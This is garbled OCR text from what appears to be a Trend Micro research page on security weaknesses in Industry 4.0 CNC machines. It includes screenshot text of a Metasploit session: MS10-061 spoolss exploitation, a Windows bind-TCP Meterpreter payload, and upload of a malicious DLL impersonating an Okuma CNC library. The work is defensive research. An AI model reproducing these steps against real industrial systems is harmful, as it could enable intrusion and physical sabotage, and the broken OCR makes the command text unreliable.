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msf6 exploit(wi [
RHOSTS => 10. 199 4 97
msf6 exploit(wi ‘
payload => w1ndows/meterpreter/b1nd tcp
msfé6 exploit(w ‘

P R N I R R T T e Ty ey .
% % ok % %k F % Ok X ok ¥ ¥ *
J USSSS y WSS J WSS [y WSSy VNS [y WAy WS Iy USSS y VIS5 [y Wy VN W—y W—

meterpreter > cd

*] uploading

10.
10.
10.
10.
10.
10.
10.
10.
10.
10.

199
199
199.
199
199.
199.
199.
199.
199.
199..

-h-h-h-h-h-h-h-h-b-b

uploaded

[

Bl

[#] uploading
[*]

uploaded
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297
.97
.97
<97
.97
. 7
.97
.97
.97

97

1445 -
1445 -
1445 -
1445 -
1445 -

445 -

:445 -
:445 -
:445 -
1445 -
Started bind TCP handler against 10.199.4.97:4444
Sending stage (175174 bytes) to 10.199.4.97

Meterpreter session 1 opened (10.199.4.100:43991 -> 10.199.4.97:4444) at 2021-09-17 17:12:28 +0200

smb/ms10_061_spoolss) > set RHOSTS 10.199.4.97
<) > set payload payload/windows/meterpr
b/ms10 1_sp ss) > exploit

Trying target Windows Universal...
Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn

UE— hIO— FETICKID

eter/bind_tcp

_Np:10.199.4.97[\spoolss]
Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:

10.199.4.97[\spoolss]

Attempting to exploit MS10-061 via \\10.199.4.97\Stampante ...

Printer handle: 0000000016c07aabc59aeb4cb450ed94ce5e4822
Job started: 0x8

Wrote 73802 bytes to %SystemRoot%\system32\ehHWgpnRxvTucG.
Job started: 0x9

Wrote 2241 bytes to %SystemRoot%\system32\wbem\mof\6MoMWr1
Everything should be set, waiting for a session.

"c:\program files"
meterpreter > mkdir MalOkuma
Creating directory: MalOkuma
meterpreter > upload -r MalOkuma

: /home/embyte/projects/CNC/OKUMA/MalOkuma/Okuma.CMCMDAPI.d1l ->
: /home/embyte/projects/CNC/OKUMA/MalOkuma/Okuma.CMCMDAPI.d1l ->
: [/home/embyte/projects/CNC/OKUMA/MalOkuma/MaliciousOkumalLib.dll
: /home/embyte/projects/CNC/OKUMA/MalOkuma/MaliciousOkumalLib.dll

MEEEERAL)E—FO—FETETOIREEADOIY—)

exe

kzLW71Q.mof

Malokuma\Okuma.CMCMDAPI.d1ll
Malokuma\Okuma.CMCMDAPI.d1ll
-> Malokuma\MaliciousOkumalLib.dll
-> Malokuma\MaliciousOkumaLib.dll
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220573 Running
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220573 Running
220573 Running
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ExecutionMode ControlType
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75 CURRENT:
76 CURRENT:
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ExecuteBlock
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., NEXT:

NEXT:

NEXT:
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Demo Videos are available

Uncovering Security Weak Spots ek
in Industry 4.0 CNC Machines A

-\
By Marco Balduzzi (Trend Micro Researchl; )
Francesco Sortino, Fabio Castello, Leandro Pierguidi (Celada) il 4

The technological leaps of the Fourth Industrial Revolution may have made production machinery more § A
efficient, but these have also inthe iminals. Our research

tackdes the isks (ENC) machi face as they're integrated into

today's networked factories.

October 24, 2022
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Patch Segment Deploy
vulnerabilities networks IDS/IPSs
Can CNC Machines Hold How Cyberattacks Could How Denial-of-Servica How Attackers Could How Safe Is the Data in
Fast Against Damage CNC Machines Attacks Could Impair CNC Hijack CNC Machines CNC Machines?
Cyberattacks? Machines
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